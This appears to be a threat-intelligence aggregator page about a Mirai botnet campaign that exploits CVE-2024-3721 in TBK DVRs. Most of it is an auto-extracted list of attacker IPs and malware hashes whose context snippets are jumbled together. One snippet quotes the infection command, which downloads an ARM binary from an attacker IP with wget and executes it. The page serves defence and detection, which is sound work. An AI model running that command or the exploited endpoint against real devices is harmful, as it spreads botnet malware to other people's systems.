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New Mirai botnet campaign targets DVR devices

Kaspersky Securelistby @Securelist ()4 min read3
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Vulnerabilities mentioned

All
CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2024-3721
TBK DVR-4104 and DVR-4216 up to 20240412 and classified as critical: This issue affects some unknown processing of the file /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___. The manipulation of the…
6.386%

Indicators of compromise

auto-extracted · verify before use · export allAll
TypeIndicatorContext
ipv4116.203.104.203fc3531cf1cf2f2e9a9c45b ba32f4eef7de6bae9507a63bde1a43aa IPs 116.203.104[.]203 130.61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81
ipv4130.61.64.122c45b ba32f4eef7de6bae9507a63bde1a43aa IPs 116.203.104[.]203 130.61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111
ipv4130.61.69.123a43aa IPs 116.203.104[.]203 130.61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19
ipv4161.97.219.84e6bae9507a63bde1a43aa IPs 116.203.104[.]203 130.61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165
ipv4162.243.19.47.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[.]27 80.152.203[.]134 42.112.26[.]36
ipv4185.84.81.1943.104[.]203 130.61.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[
ipv4192.3.165.3797.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[.]27 80.152.203[.]134 42.112.26
ipv442.112.26.36e compromised machine. 1 cd / tmp ; rm arm7 ; wget http : //42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk Typically, bot infections i
ipv454.36.111.11661.64[.]122 161.97.219[.]84 130.61.69[.]123 185.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[.]27 80.152.203[
ipv463.231.92.27.84.81[.]194 54.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[.]27 80.152.203[.]134 42.112.26[.]36
ipv480.152.203.134.36.111[.]116 192.3.165[.]37 162.243.19[.]47 63.231.92[.]27 80.152.203[.]134 42.112.26[.]36
md5011a406e89e603e93640b10325ebbdc8x.Gafgyt . Indicators of compromise Host-based (MD5 hashes) 011a406e89e603e93640b10325ebbdc8 24fd043f9175680d0c061b28a2801dfc 29b83f0aae7ed38d27ea37d26f
md524fd043f9175680d0c061b28a2801dfcse Host-based (MD5 hashes) 011a406e89e603e93640b10325ebbdc8 24fd043f9175680d0c061b28a2801dfc 29b83f0aae7ed38d27ea37d26f3c9117 2e9920b21df472b4dd1e8db486
md529b83f0aae7ed38d27ea37d26f3c91176e89e603e93640b10325ebbdc8 24fd043f9175680d0c061b28a2801dfc 29b83f0aae7ed38d27ea37d26f3c9117 2e9920b21df472b4dd1e8db4863720bf 3120a5920f8ff70ec6c5a45d7b
md52e9920b21df472b4dd1e8db4863720bf3f9175680d0c061b28a2801dfc 29b83f0aae7ed38d27ea37d26f3c9117 2e9920b21df472b4dd1e8db4863720bf 3120a5920f8ff70ec6c5a45d7bf2acc8 3c2f6175894bee698c61c6ce76
md53120a5920f8ff70ec6c5a45d7bf2acc80aae7ed38d27ea37d26f3c9117 2e9920b21df472b4dd1e8db4863720bf 3120a5920f8ff70ec6c5a45d7bf2acc8 3c2f6175894bee698c61c6ce76ff9674 45a41ce9f4d8bb2592e8450a1d
md53c2f6175894bee698c61c6ce76ff9674b21df472b4dd1e8db4863720bf 3120a5920f8ff70ec6c5a45d7bf2acc8 3c2f6175894bee698c61c6ce76ff9674 45a41ce9f4d8bb2592e8450a1de95dcc 524a57c8c595d9d4cd364612fe
md545a41ce9f4d8bb2592e8450a1de95dcc920f8ff70ec6c5a45d7bf2acc8 3c2f6175894bee698c61c6ce76ff9674 45a41ce9f4d8bb2592e8450a1de95dcc 524a57c8c595d9d4cd364612fe2f057c 74dee23eaa98e2e8a7fc355f06
md5524a57c8c595d9d4cd364612fe2f057c75894bee698c61c6ce76ff9674 45a41ce9f4d8bb2592e8450a1de95dcc 524a57c8c595d9d4cd364612fe2f057c 74dee23eaa98e2e8a7fc355f06a11d97 761909a234ee4f1d856267abe3
md56e7976666525a97639777d2d7f303177After the key decryption, we were able to obtain its value: 6e7976666525a97639777d2d7f303177 . The decrypted RC4 key is used to decrypt the strings. Aft
md574dee23eaa98e2e8a7fc355f06a11d97e9f4d8bb2592e8450a1de95dcc 524a57c8c595d9d4cd364612fe2f057c 74dee23eaa98e2e8a7fc355f06a11d97 761909a234ee4f1d856267abe30a3935 7eb3d72fa7d730d3dbca4df34f
md5761909a234ee4f1d856267abe30a3935c8c595d9d4cd364612fe2f057c 74dee23eaa98e2e8a7fc355f06a11d97 761909a234ee4f1d856267abe30a3935 7eb3d72fa7d730d3dbca4df34fe26274 8a3e1176cb160fb42357fa3f46
md57eb3d72fa7d730d3dbca4df34fe262743eaa98e2e8a7fc355f06a11d97 761909a234ee4f1d856267abe30a3935 7eb3d72fa7d730d3dbca4df34fe26274 8a3e1176cb160fb42357fa3f46f0cbde 8d92e79b7940f0ac5b01bbb777
md58a3e1176cb160fb42357fa3f46f0cbdea234ee4f1d856267abe30a3935 7eb3d72fa7d730d3dbca4df34fe26274 8a3e1176cb160fb42357fa3f46f0cbde 8d92e79b7940f0ac5b01bbb77737ca6c 95eaa3fa47a609ceefa24e8c77
md58d92e79b7940f0ac5b01bbb77737ca6c2fa7d730d3dbca4df34fe26274 8a3e1176cb160fb42357fa3f46f0cbde 8d92e79b7940f0ac5b01bbb77737ca6c 95eaa3fa47a609ceefa24e8c7787bd99 96ee8cc2edc8227a640cef77d4
md595eaa3fa47a609ceefa24e8c7787bd9976cb160fb42357fa3f46f0cbde 8d92e79b7940f0ac5b01bbb77737ca6c 95eaa3fa47a609ceefa24e8c7787bd99 96ee8cc2edc8227a640cef77d4a24e83 aaf34c27edfc3531cf1cf2f2e9
md596ee8cc2edc8227a640cef77d4a24e839b7940f0ac5b01bbb77737ca6c 95eaa3fa47a609ceefa24e8c7787bd99 96ee8cc2edc8227a640cef77d4a24e83 aaf34c27edfc3531cf1cf2f2e9a9c45b ba32f4eef7de6bae9507a63bde
md5aaf34c27edfc3531cf1cf2f2e9a9c45bfa47a609ceefa24e8c7787bd99 96ee8cc2edc8227a640cef77d4a24e83 aaf34c27edfc3531cf1cf2f2e9a9c45b ba32f4eef7de6bae9507a63bde1a43aa IPs 116.203.104[.]203 130.
md5ba32f4eef7de6bae9507a63bde1a43aac2edc8227a640cef77d4a24e83 aaf34c27edfc3531cf1cf2f2e9a9c45b ba32f4eef7de6bae9507a63bde1a43aa IPs 116.203.104[.]203 130.61.64[.]122 161.97.219[.]84 130.6

From the original article

4 min read at securelist.com

The abuse of known security flaws to deploy bots on vulnerable systems is a widely recognized problem. Many automated bots constantly search the web for known vulnerabilities in servers and devices connected to the internet, especially those running popular services.

Kaspersky Securelist

By @Securelist · securelist.com

Read the full article at Kaspersky Securelist

A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.